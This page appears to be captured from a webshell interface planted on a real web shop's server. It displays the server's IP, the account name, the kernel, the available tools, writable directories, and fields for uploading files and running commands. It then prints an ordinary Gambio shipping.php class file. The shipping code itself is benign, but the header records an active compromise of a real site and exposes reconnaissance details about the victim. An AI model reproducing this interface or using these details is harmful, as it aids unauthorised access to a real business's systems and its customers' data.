403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/includes/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/includes/classes/shipping.php
<?php
/* --------------------------------------------------------------
   shipping.php 2019-04-25
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on:
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(shipping.php,v 1.22 2003/05/08); www.oscommerce.com
   (c) 2003	 nextcommerce (shipping.php,v 1.9 2003/08/17); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: shipping.php 1305 2005-10-14 10:30:03Z mz $)

   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

  require_once(DIR_FS_INC . 'xtc_in_array.inc.php');
  if (!class_exists('shipping_ORIGIN', false))
  {
	class shipping_ORIGIN {
	  var $modules;

	  // class constructor
	  public function __construct($module = '') {
		global $PHP_SELF, $order;
		$coo_lang_file_master = MainFactory::create_object('LanguageTextManager', array(), true);
	  		
	  if (empty($order))
	  {
		  if ($_SESSION['cart']->count_contents_non_virtual() > 0) { // cart contains products that are NOT virtual
			if (!isset ($_SESSION['sendto'])) {
				$_SESSION['sendto'] = $_SESSION['customer_default_address_id'];
			} else {
				// verify the selected shipping address
				$check_address_query = xtc_db_query("select count(*) as total from ".TABLE_ADDRESS_BOOK." where customers_id = '".(int) $_SESSION['customer_id']."' and address_book_id = '".(int) $_SESSION['sendto']."'");
				$check_address = xtc_db_fetch_array($check_address_query);

				if ($check_address['total'] != '1') {
					$_SESSION['sendto'] = $_SESSION['customer_default_address_id'];
					if (isset ($_SESSION['shipping']))
						unset ($_SESSION['shipping']);
				}
			}
		  }
		  
		  $order = new order();
		  
		  $coo_cart_shipping_costs_control = MainFactory::create_object('CartShippingCostsControl', array(), true);
		  $t_country_array = $coo_cart_shipping_costs_control->get_selected_country();		 
		  $t_country = xtc_get_countriesList( key($t_country_array), true, true );
		  
		  $order->delivery['country']['id'] = key($t_country_array);
		  $order->delivery['country']['iso_code_2'] = $t_country['countries_iso_code_2'];
	  }

      if (defined('MODULE_SHIPPING_INSTALLED') && xtc_not_null(MODULE_SHIPPING_INSTALLED)) {
        $this->modules = explode(';', MODULE_SHIPPING_INSTALLED);

        $include_modules = array();

        if ( (xtc_not_null($module)) && (in_array(substr($module['id'], 0, strpos($module['id'], '_')) . '.php', $this->modules)) ) {
          $include_modules[] = array('class' => substr($module['id'], 0, strpos($module['id'], '_')), 'file' => substr($module['id'], 0, strpos($module['id'], '_')) . '.php');
        } else {
          reset($this->modules);
          foreach($this->modules as $value) {
            $class = substr($value, 0, strrpos($value, '.'));
            $include_modules[] = array('class' => $class, 'file' => $value);
          }
        }
        // load unallowed modules into array
        $unallowed_modules = explode(',',$_SESSION['customers_status']['customers_status_shipping_unallowed'].','.$order->customer['shipping_unallowed']);
        for ($i = 0, $n = sizeof($include_modules); $i < $n; $i++) {
          if (xtc_in_array(str_replace('.php', '', $include_modules[$i]['file']), $unallowed_modules) != 'false') {
            // check if zone is alowed to see module
			$t_allowed = trim(constant('MODULE_SHIPPING_' . strtoupper(str_replace('.php', '', $include_modules[$i]['file'])) . '_ALLOWED'));
            if ($t_allowed != '') {
				
				if(strpos($t_allowed, ',') !== false)
				{
					$allowed_zones = explode(',', $t_allowed);
				}
				else
				{
					$allowed_zones = array($t_allowed);
				}
              
            } else {
              $allowed_zones = array();
            }
			
			if (in_array($_SESSION['delivery_zone'], $allowed_zones) == true || count($allowed_zones) == 0) {
			  $coo_lang_file_master->init_from_lang_file('lang/' . $_SESSION['language'] . '/modules/shipping/' . $include_modules[$i]['file']);
              include_once(DIR_WS_MODULES . 'shipping/' . $include_modules[$i]['file']);

              $GLOBALS[$include_modules[$i]['class']] = new $include_modules[$i]['class'];
            }
          }
        }
      }
    }
        
        
        public function quote($method = '', $module = '')
        {
            global $total_weight, $shipping_weight, $shipping_num_boxes;
            
            $quotes_array = [];
            
            if (is_array($this->modules)) {
                $shipping_num_boxes = 1;
                $shipping_weight    = $total_weight;
                
                if (SHIPPING_BOX_WEIGHT >= $shipping_weight * SHIPPING_BOX_PADDING / 100) {
                    $shipping_weight += SHIPPING_BOX_WEIGHT;
                } else {
                    $shipping_weight += ($shipping_weight * SHIPPING_BOX_PADDING / 100);
                }
                
                if ($shipping_weight > SHIPPING_MAX_WEIGHT) { // Split into many boxes
                    $shipping_num_boxes = ceil($shipping_weight / SHIPPING_MAX_WEIGHT);
                    $shipping_weight    /= $shipping_num_boxes;
                }
                
                $include_quotes = [];
                
                reset($this->modules);
                foreach ($this->modules as $value) {
                    $class = substr($value, 0, strrpos($value, '.'));
                    if (xtc_not_null($module)) {
                        if (($module === $class) && $GLOBALS[$class]->enabled) {
                            $include_quotes[] = $class;
                        }
                    } elseif ($GLOBALS[$class]->enabled) {
                        $include_quotes[] = $class;
                    }
                }
                
                $size = count($include_quotes);
                for ($i = 0; $i < $size; $i++) {
                    $quotes = $GLOBALS[$include_quotes[$i]]->quote($method);
                    if (is_array($quotes)) {
                        $quotes_array[] = $quotes;
                    }
                }
            }
            
            return $quotes_array;
        }
        
        
        function cheapest() {

		if (is_array($this->modules)) {
		  $rates = array();

		  reset($this->modules);
		  foreach($this->modules as $value) {
			$class = substr($value, 0, strrpos($value, '.'));
			// BOF GM_MOD:
			if ($GLOBALS[$class]->enabled && $class != 'selfpickup') {
			  $quotes = $GLOBALS[$class]->quotes;
			  $size = sizeof((array)$quotes['methods']);
			  for ($i=0; $i<$size; $i++) {
				  $title = $quotes['module'] . ' (' . $quotes['methods'][$i]['title'] . ')';
			  if(array_key_exists("cost",$quotes['methods'][$i])) {
				  $rates[] = array('id' => $quotes['id'] . '_' . $quotes['methods'][$i]['id'],
								   'title' => substr($title, 0, 255),
								   'cost' => $quotes['methods'][$i]['cost']);
								  // echo $quotes['methods'][$i]['cost'];

				}
			  }
			}
		  }

		  $cheapest = false;
		  $size = sizeof($rates);
		  for ($i=0; $i<$size; $i++) {
			if (is_array($cheapest)) {
			  if ($rates[$i]['cost'] < $cheapest['cost']) {
				$cheapest = $rates[$i];
			  }
			} else {
			  $cheapest = $rates[$i];
			}
		  }
		  return $cheapest;

		}

	  }
	  
	  function shopping_cart_cheapest()
		{
			$t_cheapest_shipping_module = false;
			global $PHP_SELF, $order;
			
			$coo_lang_file_master = MainFactory::create_object('LanguageTextManager', array(), true);

			if (empty($order))
			{
				if (!isset ($_SESSION['sendto'])) {
					$_SESSION['sendto'] = $_SESSION['customer_default_address_id'];
				} else {
					// verify the selected shipping address
					$check_address_query = xtc_db_query("select count(*) as total from ".TABLE_ADDRESS_BOOK." where customers_id = '".(int) $_SESSION['customer_id']."' and address_book_id = '".(int) $_SESSION['sendto']."'");
					$check_address = xtc_db_fetch_array($check_address_query);

					if ($check_address['total'] != '1') {
						$_SESSION['sendto'] = $_SESSION['customer_default_address_id'];
						if (isset ($_SESSION['shipping']))
							unset ($_SESSION['shipping']);
					}
				}

				if ($order->content_type == 'virtual' || ($order->content_type == 'virtual_weight') || ($_SESSION['cart']->count_contents_non_virtual() == 0)) { // GV Code added
						$_SESSION['shipping'] = false;
						$_SESSION['sendto'] = false;

						return $t_cheapest_shipping_module;
				}

				$order = new order();
			}

			if($this->is_shipping_free() === true)
			{
				$coo_lang_file_master->init_from_lang_file('lang/' . $_SESSION['language'] . '/modules/order_total/ot_shipping.php');
				$coo_cart_shipping_costs_control = MainFactory::create_object('CartShippingCostsControl', array(), true);
				$_SESSION['shipping'] = array('id' => 'free' . $coo_cart_shipping_costs_control->v_module_method_separator . 'free',
												'title' => substr(FREE_SHIPPING_TITLE, 0, 255),
												'cost' => 0);
				$t_cheapest_shipping_module = array('id' => 'free' . $coo_cart_shipping_costs_control->v_module_method_separator . 'free',
															'module' => 'free',
															'method_id' => 'free',
															'method_title' => FREE_SHIPPING_TITLE,
															'cost' => 0);
				return $t_cheapest_shipping_module;
			}

			if (is_array($this->modules))
			{
				$unallowed_modules = explode(',',$_SESSION['customers_status']['customers_status_shipping_unallowed'].','.$order->customer['shipping_unallowed']);
				$t_shipping_costs_array = $this->quote();

				foreach ($t_shipping_costs_array as $t_module)
				{
					if (in_array($t_module['id'], $unallowed_modules))
					{
						continue;
					}

					if (constant('MODULE_SHIPPING_' . strtoupper($t_module['id']) . '_ALLOWED') != '')
					{
						$t_allowed_zones = explode(',', constant('MODULE_SHIPPING_' . strtoupper($t_module['id']) . '_ALLOWED'));
					}
					else
					{
						$t_allowed_zones = array();
					}

					if (in_array($_SESSION['delivery_zone'], $t_allowed_zones) == false && count($t_allowed_zones) > 0 || isset($t_module['error']))
					{
						continue;
					}

					foreach ($t_module['methods'] as $t_method)
					{
						if ($t_cheapest_shipping_module === false 
								|| ((double)$t_method['cost'] < $t_cheapest_shipping_module['cost'] && $t_method['id'] != 'selfpickup') 
								|| $t_cheapest_shipping_module['id'] == 'selfpickup')
						{
							$t_cheapest_shipping_module = array('id' => $t_module['id'],
																'module' => $t_module['module'],
																'method_id' => $t_method['id'],
																'method_title' => substr($t_method['title'], 0, 255),
																'cost' => (double)$t_method['cost']);
						}
					}
				}
			}

			return $t_cheapest_shipping_module;
		}

		function is_shipping_free($p_selected_country = false)
		{
			if ($_SESSION['cart']->count_contents_non_virtual() == 0)
			{
				return true;
			}
			
			if($p_selected_country !== false)
			{
				$t_selected_country = $p_selected_country;
			}
			else
			{
				$coo_cart_shipping_costs_control = MainFactory::create_object('CartShippingCostsControl', array(), true);
				$t_selected_country = key($coo_cart_shipping_costs_control->get_selected_country());
			}		

			if ((MODULE_ORDER_TOTAL_SHIPPING_DESTINATION == 'national' && STORE_COUNTRY == $t_selected_country) ||
				(MODULE_ORDER_TOTAL_SHIPPING_DESTINATION == 'international' && STORE_COUNTRY != $t_selected_country) ||
				(MODULE_ORDER_TOTAL_SHIPPING_DESTINATION == 'both'))
			{
				if (MODULE_ORDER_TOTAL_SHIPPING_FREE_SHIPPING == 'true' && $_SESSION['cart']->total >= MODULE_ORDER_TOTAL_SHIPPING_FREE_SHIPPING_OVER)
				{
					return true;
				}
			}

			return false;
		}

		function module_is_allowed($p_country = false, $p_module = false)
		{
			if (empty($p_country) || empty($p_module) || $this->is_shipping_free() === true )
			{
				return false;
			}

			if (is_array($this->modules))
			{
				$t_shipping_modules_array = $this->quote();

				foreach ($t_shipping_modules_array as $t_module)
				{
					if ($t_module['id'] == $p_module)
					{
						if (constant('MODULE_SHIPPING_' . strtoupper($t_module['id']) . '_ALLOWED') != '')
						{
							$t_allowed_zones = explode(',', constant('MODULE_SHIPPING_' . strtoupper($t_module['id']) . '_ALLOWED'));
						}
						else
						{
							$t_allowed_zones = array();
						}

						$t_country_data = xtc_get_countriesList( $p_country, true, true );

						if (!isset($t_module['error']) && (in_array($t_country_data['countries_iso_code_2'], $t_allowed_zones) == true || count($t_allowed_zones) == 0))
						{
							return true;
						}

						return false;
					}
				}
			}
			return false;
		}
	}
  }

Youez - 2016 - github.com/yon3zu
LinuXploit